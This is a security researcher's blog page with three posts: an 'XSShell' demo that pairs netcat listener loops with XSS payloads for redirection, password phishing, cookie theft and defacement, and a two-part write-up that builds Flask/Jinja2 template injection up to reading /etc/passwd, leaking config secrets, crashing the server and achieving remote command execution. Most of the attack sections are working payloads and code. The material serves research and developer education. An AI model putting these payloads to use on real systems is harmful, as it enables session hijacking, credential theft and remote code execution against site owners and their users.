lanmaster53.com

A hacker looking out for people thru (working|coding|teaching|sharing).

Fun with XSShell

Friday, July 15, 2016

So this is kinda fun. With this page open, copy and paste one of the listener commands from below into a terminal window on your local machine. Then, paste alert(42) into the resulting shell and press "Enter". Once you recover from the initial shock of what you just witnessed, play with the following payloads and spend the next hour of life thoroughly enjoying yourself.

Listeners

Linux

while :; do printf "j$ "; read c; echo $c | nc -lp 8000 >/dev/null; done

OS X

while :; do printf "j$ "; read c; echo $c | nc -l 8000 >/dev/null; done

Example Payloads

Redirection

window.location = 'http://lanmaster53.com/training/'

Phishing

i=new Image();i.src="http://127.0.0.1:8888/pw/"+prompt("Password:")
  • Requires a second listener, e.g. python -m "SimpleHTTPServer" 8888.

Session Hijacking

i=new Image();i.src="http://127.0.0.1:8888/pw/"+document.cookie
  • Requires a second listener, e.g. python -m "SimpleHTTPServer" 8888.

Defacement

d=document;e=d.createElement("p");e.innerHTML="lanmaster53 wuz here!";d.body.appendChild(e)

Credits

This is all based on the code shared in the following tweets.

Check the source code here ^^^ for the active payload.

Exploring SSTI in Flask/Jinja2 - Part 2

Friday, March 11, 2016

I recently wrote this article about exploring the true impact of Server-Side Template Injection (SSTI) in applications leveraging the Flask/Jinja2 development stack. My initial goal was to find a path to file or operating system access. I was previously unable to do so, but thanks to some feedback on the initial article, I have since been able to achieve that goal. This article is the result of the additional research.

The Nudge

In response to the initial article, Nicolas G published the following tweet.

If you play with this payload a bit, you'll quickly notice that it doesn't work. There are several good reasons for that, which I'll get to shortly. The key takeaway, however, is that this payload uses several very important introspection utilities that we left out in our previous research: the __mro__ and __subclasses__ attributes.

DISCLAIMER: The following explanations are very high level. I have no desire to act like I know more about this stuff than I do. Most of the time when I'm dealing with obscure parts in the guts of a language/framework, I just try stuff to see if it gives me some desired behavior, but I don't always know why the end result is what it is. I am still learning the "why" behind these attributes, but I at least wanted to give you some sort of intro.

The MRO in __mro__ stands for Method Resolution Order, and is defined here as, "a tuple of classes that are considered when looking for base classes during method resolution." The __mro__ attribute consists of the object's inheritance map in a tuple consisting of the class, its base, its base's base, and so on up to object (if using new-style classes). It is an attribute of each object's metaclass, but is a truly hidden attribute, as Python explicitely leaves it out of dir output (see Objects/object.c at line 1812) when conducting introspection.

The __subclasses__ attribute is defined here as a method that "keeps a list of weak references to its immediate subclasses." for each new-style class, and "returns a list of all those references still alive."

Greatly simplified, __mro__ allows us to go back up the tree of inherited objects in the current Python environment, and __subclasses__ lets us come back down. So what's the impact on the search of a greater exploit for SSTI in Flask/Jinja2? By starting with a new-type object, e.g. type str, we can crawl up the inheritance tree to the root object class using __mro__, then crawl back down to every new-style object in the Python environment using __subclasses__. Yes, this gives us access to every class loaded in the current python environment. So, how do we leverage this new found capability?

Exploitation

There are a few things to consider here. The Python environment will consist of:

  1. Things native to all Flask applications.
  2. Things custom to the target application.

We are after a universal exploit, so we want to set up our test environment to be as close to native Flask as possible. The more we add to the application in the way of imported libraries and 3rd party modules, the less universal our attack vector will become. Our previous proof-of-concept application was a good candidate for this, so let's continue to use it.

The cool thing about what we're about to do is that it requires no modification of the target source in order to discover an exploit vector. In the previous article, we had to add some functionality to the vulnerability in order to conduct introspection. This is no longer required.

The first thing we want to do is is select a new-style object to use for accessing the object base class. We can simply use '', a blank string, object type str. Then, we can use the __mro__ attribute to access the object's inherited classes. Inject {{ ''.__class__.__mro__ }} as a payload into the SSTI vulnerability.

We can see the previously discussed tuple being returned to us. Since we want go back to the root object class, we'll leverage an index of 2 to select the class type object. Now that we're at the root object, we can leverage the __subclasses__ attribute to dump all of the classes used in the application. Inject {{ ''.__class__.__mro__[2].__subclasses__() }} into the SSTI vulnerability.

As you can see, there is a lot of stuff here. In the target application I am using, there are 572 accessible classes. This is where things get tricky, and why the tweeted payload mentioned above doesn't work. Remember, not every application's Python environment will look the same. The goal is to find something useful that leads to file or operating system access. It is probably not all that uncommon to find classes like subprocess.Popen used somehere in an application that may not be otherwise exploitable, such as the application affected by the tweeted payload, but from what I've found, nothing like this is available in native Flask. Luckily, there is capability in native Flask that allows us to achieve similar behavior.

If you comb through the output of the previous payload, you should find the <type 'file'> object. This is the key to file system access. While open is the builtin function for creating file objects, the file class is also capable of instantiating file objects, and if we can instantiate a file object, then we can use methods like read to extract the contents. To demonstrate this, find the index of the file class and inject {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} where 40 is the index of the <type 'file'> object in my environment.

So, we've now demonstrated that arbirtrary file access is possible via SSTI in Flask/Jinja2, but we're not done yet. My goal in this was Remote Code/Command Execution.

The previous article referenced several methods of the config object that load objects into the Flask configuration environment. One such method was the from_pyfile method. Below is the code for the from_pyfile method of the Config class, flask/config.py.

    def from_pyfile(self, filename, silent=False):
        """Updates the values in the config from a Python file.  This function
        behaves as if the file was imported as module with the
        :meth:`from_object` function.

        :param filename: the filename of the config.  This can either be an
                         absolute filename or a filename relative to the
                         root path.
        :param silent: set to `True` if you want silent failure for missing
                       files.

        .. versionadded:: 0.7
           `silent` parameter.
        """
        filename = os.path.join(self.root_path, filename)
        d = imp.new_module('config')
        d.__file__ = filename
        try:
            with open(filename) as config_file:
                exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
        except IOError as e:
            if silent and e.errno in (errno.ENOENT, errno.EISDIR):
                return False
            e.strerror = 'Unable to load configuration file (%s)' % e.strerror
            raise
        self.from_object(d)
        return True

There's a couple of interesting things here. The most obvious is the use of the compile function against the contents of a file whose path is provided as a parameter. This would come in handy if we had a way to write files to the operating system, no? Well, as we just discussed, we do! We can use the aforementioned file class to not only read files, but write them to world writeable locations on the target server. Then, we can call the from_pyfile method through the SSTI vulnerability to compile the file and execute the contents. This is a 2 staged attack. First, inject something like {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('<malicious code here>'') }} into the SSTI vulnerability. Then, invoke the compilation process by injecting {{ config.from_pyfile('/tmp/owned.cfg') }}. The code will execute upon compilation. Remote Code Execution achieved.

But let's take it a step even further. While running code is great and all, having to go through a multi-step process for each block of code we want to run is tedious. Let's leverage the from_pyfile method for its intended purpose and add something useful to the config object. Inject {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} into the SSTI vulnerability. This will write a file to the remote server that, when compiled, imports the check_output method of the subprocess module and sets it to a variable named RUNCMD, which, if you recall from the previous article, will get added to the Flask config object virtue of it being an attribute with an upper case name.

Inject {{ config.from_pyfile('/tmp/owned.cfg') }} to add the new item to the config object. Notice the difference between the following before and after images.

Now we can invoke the new configuration item to run commands on the remote operating system. Demonstrate this by injecting {{ config['RUNCMD']('/usr/bin/id',shell=True) }} into the SSTI vulnerability.

Remote Command Execution achieved.

Conclusion

We can now close the book on escaping the Flask/Jinja2 template sandbox and conclude that the impact of SSTI in Flask/Jinja2 environments is substantial. I'd also like to point out that this is largely the result of the way Python works, and not so much the fault of the Flask framework. I'd be willing to bet that all of the Python MVC/MTV web frameworks suffer from similar exploitation vectors. Ultimately, it is up to the developers using these frameworks to properly follow template design best practices and ensure that their applications do not blindly trust user-supplied data.

Exploring SSTI in Flask/Jinja2

Wednesday, March 9, 2016

This is the first of two articles covering research into SSTI in the Flask/Jinja2 development stack. This article only tells half the story, but an important half that provides context to the final hack. Please consider reading both parts in their entirety. Part 2 can be found here.


If you've never heard of Server-Side Template Injection (SSTI), or aren't exactly sure what it is, then read this article by James Kettle before continuing.

As security professionals, we are in the business of helping organizations make risk-based decisions. Seeing as risk is a product of impact and likelihood, without knowing the true impact of a vulnerability, we are unable to properly calculate the risk. As someone that frequently develops using the Flask framework, James' research prompted me to determine the full impact of SSTI on applications developed using the Flask/Jinja2 development stack. This article is the result of that research. If you want a little more context before diving in, check out this article by Ryan Reid that provides a bit more context to what SSTI looks like in Flask/Jinja2 applications.

Setup

In order to assess SSTI in the Flask/Jinja2 stack, let's build a small proof-of-concept application that contains the following view.

@app.errorhandler(404)
def page_not_found(e):
    template = '''{%% extends "layout.html" %%}
{%% block body %%}
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>
    </div>
{%% endblock %%}
''' % (request.url)
    return render_template_string(template), 404

The scenario behind this code is that the developer thought it would be silly to have a separate template file for a small 404 page, so he created a template string within the 404 view function. The developer wanted to echo back to the user the URL which resulted in the error, but rather than pass the URL to the template context via the render_template_string function, the developer chose to use string formatting to dynamically add the URL to the template string. Pretty reasonable, right? I've seen worse.

When exercising this functionality, we see the expected behavior.

Most people that see this behavior immediately think XSS, and they would be right. Appending <script>alert(42)</script> to the end of the URL triggers a XSS vulnerability.

The target code is vulnerable to XSS, and if you read James' article, he points out that XSS can be an indicator of possible SSTI. This is a good example of that. But if we dig a little deeper by appending {{ 7+7 }} to the end of the URL, we'll see that the template engine evaluates the mathematical expression and the application responds with 14 where the template syntax would have been.

We have now discovered SSTI in the target application.

Analysis

Now that we have a working exploit, the next step is to dig into the template context and find out what is available to an attacker of the application through the SSTI vulnerability. Modify the vulnerable view function of the proof-of-concept application to look as follows.

@app.errorhandler(404)
def page_not_found(e):
    template = '''{%% extends "layout.html" %%}
{%% block body %%}
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>
    </div>
{%% endblock %%}
''' % (request.url)
    return render_template_string(template,
        dir=dir,
        help=help,
        locals=locals,
    ), 404

The call to render_template_string now includes the dir, help, and locals built-ins, which adds them to the template context so we can use them to conduct introspection through the vulnerability and find out what is programmatically available to the template.

Let's pause briefly and talk about what the documentation says about the template context. There are several origins from which objects end up in the template context.

  1. Jinja globals
  2. Flask template globals
  3. Stuff explicitly added by the developer

We are mostly concerned about items #1 and #2 because these are universal defaults, providing reasonable expectation that they will be available anywhere we find SSTI in an application using the Flask/Jinja2 stack. Item #3 is application dependent and can be accomplished in a number of ways. This stackoverflow discussion contains a few examples. While we won't dive into item #3 in this article, it is absolutely something that to consider when conducting static source code analysis of applications leveraging the Flask/Jinja2 stack.

To continue with introspection, our methodology should look something like this.

  1. Read the documentation!
  2. Introspect the locals object using dir to see everything that is available to the template context.
  3. Dig into all objects using dir and help.
  4. Analyze the Python source code of anything interesting (after all, everything in the stack is open source).

Results

We make our first interesting discovery by introspecting the request object. The request object is a Flask template global that represents "The current request object (flask.request)." It contains all of the same information you would expect to see when accessing the request object in a view. Within the request object is an object named environ. The request.environ object is a dictionary of objects related to the server environment. One such item in the dictionary is a method named shutdown_server assigned to the key werkzeug.server.shutdown. So, guess what injecting {{ request.environ['werkzeug.server.shutdown']() }} does to the server? You guessed it. An extremely low effort denial-of-service. This method does not exist when running the applicatiom using gunicorn, so the vulnerability may be limited to the development server.

Our second interesting discovery comes from introspecting the config object. The config object is a Flask template global that represents "The current configuration object (flask.config)." It is a dictionary-like object that contains all of the configuration values for the application. In most cases, this includes sensitive values such as database connection strings, credentials to third party services, the SECRET_KEY, etc. Viewing these configuration items is as easy as injecting a payload of {{ config.items() }}.

And don't think that storing these configuration items in environment variables protects against this disclosure. The config object contains all of the configuration values AFTER they have been resolved by the framework.

Our most interesting discovery also comes from introspecting the config object. While the config object is dictionary-like, it is a subclass that contains several unique methods: from_envvar, from_object, from_pyfile, and root_path. Finally, an opportunity to dig into source code. Below is the code for the from_object method of the Config class, flask/config.py.

    def from_object(self, obj):
        """Updates the values from the given object.  An object can be of one
        of the following two types:

        -   a string: in this case the object with that name will be imported
        -   an actual object reference: that object is used directly

        Objects are usually either modules or classes.

        Just the uppercase variables in that object are stored in the config.
        Example usage::

            app.config.from_object('yourapplication.default_config')
            from yourapplication import default_config
            app.config.from_object(default_config)

        You should not use this function to load the actual configuration but
        rather configuration defaults.  The actual config should be loaded
        with :meth:`from_pyfile` and ideally from a location not within the
        package because the package might be installed system wide.

        :param obj: an import name or object
        """
        if isinstance(obj, string_types):
            obj = import_string(obj)
        for key in dir(obj):
            if key.isupper():
                self[key] = getattr(obj, key)

    def __repr__(self):
        return '<%s %s>' % (self.__class__.__name__, dict.__repr__(self))

We see here that if we pass a string object to the from_object method, it passes the string to import_string method from the werkzeug/utils.py module, which attempts to import anything from the path whose name matches and return it.

def import_string(import_name, silent=False):
    """Imports an object based on a string.  This is useful if you want to
    use import paths as endpoints or something similar.  An import path can
    be specified either in dotted notation (``xml.sax.saxutils.escape``)
    or with a colon as object delimiter (``xml.sax.saxutils:escape``).

    If `silent` is True the return value will be `None` if the import fails.

    :param import_name: the dotted name for the object to import.
    :param silent: if set to `True` import errors are ignored and
                   `None` is returned instead.
    :return: imported object
    """
    # force the import name to automatically convert to strings
    # __import__ is not able to handle unicode strings in the fromlist
    # if the module is a package
    import_name = str(import_name).replace(':', '.')
    try:
        try:
            __import__(import_name)
        except ImportError:
            if '.' not in import_name:
                raise
        else:
            return sys.modules[import_name]

        module_name, obj_name = import_name.rsplit('.', 1)
        try:
            module = __import__(module_name, None, None, [obj_name])
        except ImportError:
            # support importing modules not yet set up by the parent module
            # (or package for that matter)
            module = import_string(module_name)

        try:
            return getattr(module, obj_name)
        except AttributeError as e:
            raise ImportError(e)

    except ImportError as e:
        if not silent:
            reraise(
                ImportStringError,
                ImportStringError(import_name, e),
                sys.exc_info()[2])

The from_object method then adds all attributes of the newly loaded module whose variable name is all uppercase to the config object. The interesting thing about this is that attributes added to the config object maintain their type, which means functions added to the config object can be called from the template context via the config object. To demonstrate this, inject {{ config.items() }} into the SSTI vulnerability and note the current configuration entries.

Then inject {{ config.from_object('os') }}. This will add to the config object all attributes of the os library whose variable names are all uppercase. Inject {{ config.items() }} again and notice the new configuration items. Also notice the types of these configuration items.

Any callable items added to the config object can now be called through the SSTI vulnerability. The next step is finding functionality within the available importable modules that can be manipulated to break out of the template sandbox.

The following script replicates the behavior of from_object and import_string and analyzes the entire Python Standard Library for importable items.

#!/usr/bin/env python

from stdlib_list import stdlib_list
import argparse
import sys

def import_string(import_name, silent=True):
    import_name = str(import_name).replace(':', '.')
    try:
        try:
            __import__(import_name)
        except ImportError:
            if '.' not in import_name:
                raise
        else:
            return sys.modules[import_name]

        module_name, obj_name = import_name.rsplit('.', 1)
        try:
            module = __import__(module_name, None, None, [obj_name])
        except ImportError:
            # support importing modules not yet set up by the parent module
            # (or package for that matter)
            module = import_string(module_name)

        try:
            return getattr(module, obj_name)
        except AttributeError as e:
            raise ImportError(e)

    except ImportError as e:
        if not silent:
            raise

class ScanManager(object):

    def __init__(self, version='2.6'):
        self.libs = stdlib_list(version)

    def from_object(self, obj):
        obj = import_string(obj)
        config = {}
        for key in dir(obj):
            if key.isupper():
                config[key] = getattr(obj, key)
        return config

    def scan_source(self):
        for lib in self.libs:
            config = self.from_object(lib)
            if config:
                conflen = len(max(config.keys(), key=len))
                for key in sorted(config.keys()):
                    print('[{0}] {1} => {2}'.format(lib, key.ljust(conflen), repr(config[key])))

def main():
    # parse arguments
    ap = argparse.ArgumentParser()
    ap.add_argument('version')
    args = ap.parse_args()
    # creat a scanner instance
    sm = ScanManager(args.version)
    print('\n[{module}] {config key} => {config value}\n')
    sm.scan_source()

# start of main code
if __name__ == '__main__':
    main()

Below is some abbreviated output from the script when ran against Python 2.7, including the most interesting importable items.

(venv)macbook-pro:search lanmaster$ ./search.py 2.7

[{module}] {config key} => {config value}

...
[ctypes] CFUNCTYPE               => <function CFUNCTYPE at 0x10c4dfb90>
...
[ctypes] PYFUNCTYPE              => <function PYFUNCTYPE at 0x10c4dff50>
...
[distutils.archive_util] ARCHIVE_FORMATS => {'gztar': (<function make_tarball at 0x10c5f9d70>, [('compress', 'gzip')], "gzip'ed tar-file"), 'ztar': (<function make_tarball at 0x10c5f9d70>, [('compress', 'compress')], 'compressed tar file'), 'bztar': (<function make_tarball at 0x10c5f9d70>, [('compress', 'bzip2')], "bzip2'ed tar-file"), 'zip': (<function make_zipfile at 0x10c5f9de8>, [], 'ZIP file'), 'tar': (<function make_tarball at 0x10c5f9d70>, [('compress', None)], 'uncompressed tar file')}
...
[ftplib] FTP                     => <class ftplib.FTP at 0x10cba7598>
[ftplib] FTP_TLS                 => <class ftplib.FTP_TLS at 0x10cba7600>
...
[httplib] HTTP                            => <class httplib.HTTP at 0x10b3e96d0>
[httplib] HTTPS                           => <class httplib.HTTPS at 0x10b3e97a0>
...
[ic] IC => <class ic.IC at 0x10cbf9390>
...
[shutil] _ARCHIVE_FORMATS => {'gztar': (<function _make_tarball at 0x10a860410>, [('compress', 'gzip')], "gzip'ed tar-file"), 'bztar': (<function _make_tarball at 0x10a860410>, [('compress', 'bzip2')], "bzip2'ed tar-file"), 'zip': (<function _make_zipfile at 0x10a860500>, [], 'ZIP file'), 'tar': (<function _make_tarball at 0x10a860410>, [('compress', None)], 'uncompressed tar file')}
...
[xml.dom.pulldom] SAX2DOM                => <class xml.dom.pulldom.SAX2DOM at 0x10d1028d8>
...
[xml.etree.ElementTree] XML        => <function XML at 0x10d138de8>
[xml.etree.ElementTree] XMLID      => <function XMLID at 0x10d13e050>
...

From here, we apply our methodology to the interesting items in hopes of finding something we can use to escape the template sandbox.

TL;DR, I was unable to find a sandbox escape through any of these items. But for the sake of sharing research, below is additional information about my approach to a few of them. Also note that I did not exhaust all possibilities. There is certainly opportunity for further research.

ftplib

Here we have the possibilty of using a ftplib.FTP object to connect back to a server we control and upload files from the affected server, or download files from a server to the affected server and exec the contents using the config.from_pyfile method. Analysis of the ftplib documentation and source code shows that ftplib requires open file handlers to do this, and since the open built-in is disabled in the template sandbox, there doesn't seem to be a way to create the file handlers.

httplib

Here we have the possibilty of using a httplib.HTTP object to load the URLs of files on the local file system using the file protocol handler, file://. Unfortunately, httplib does not support the file protocol handler.

xml.etree.ElementTree

Here we have the possibilty of using a xml.etree.ElementTree.XML object to load files from the file system using user defined entities. However, as can be seen here, etree does not support user-defined entities.

xml.dom.pulldom

While the xml.etree.ElementTree modules doesn't support user-defined entities, the pulldom module does. However, we are limited to the xml.dom.pulldom.SAX2DOM class, which does not appear to expose a way to load XML through the object's interface.

Conclusion

Even though we've not yet discovered a way to escape the template sandbox, we've made some headway in determining the impact of SSTI in the Flask/Jinja2 development stack. I'm certain that there is some additional digging to do here, and I intend to continue, but I encourage others to dig in and explore as well. I'll update things here if/when I find additional items of interest regarding this research.